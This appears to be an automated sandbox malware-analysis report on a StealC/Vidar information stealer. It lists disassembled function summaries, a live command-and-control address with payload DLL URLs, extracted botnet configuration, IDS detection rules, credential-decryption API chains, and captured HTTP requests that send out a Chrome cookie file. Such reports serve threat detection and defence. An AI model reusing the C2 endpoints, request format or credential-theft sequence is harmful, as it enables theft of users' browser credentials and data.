Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.d20000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.d20000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D29B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00D29B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00D2C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D29AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00D29AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D27240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00D27240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D38EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00D38EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 38 38 46 31 45 30 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"A49A88F1E00A1633047986------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"doma------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"browsers------BFHJECAAAFHIJKFIJEGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"plugins------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEGDAEHIEHIDHJDAAKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 47 44 41 45 48 49 45 48 49 44 48 4a 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------CFIEGDAEHIEHIDHJDAAKContent-Disposition: form-data; name="message"fplugins------CFIEGDAEHIEHIDHJDAAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.37Content-Length: 7135Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFIIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file"------JKFHIIEHIEGDHJJJKFII--
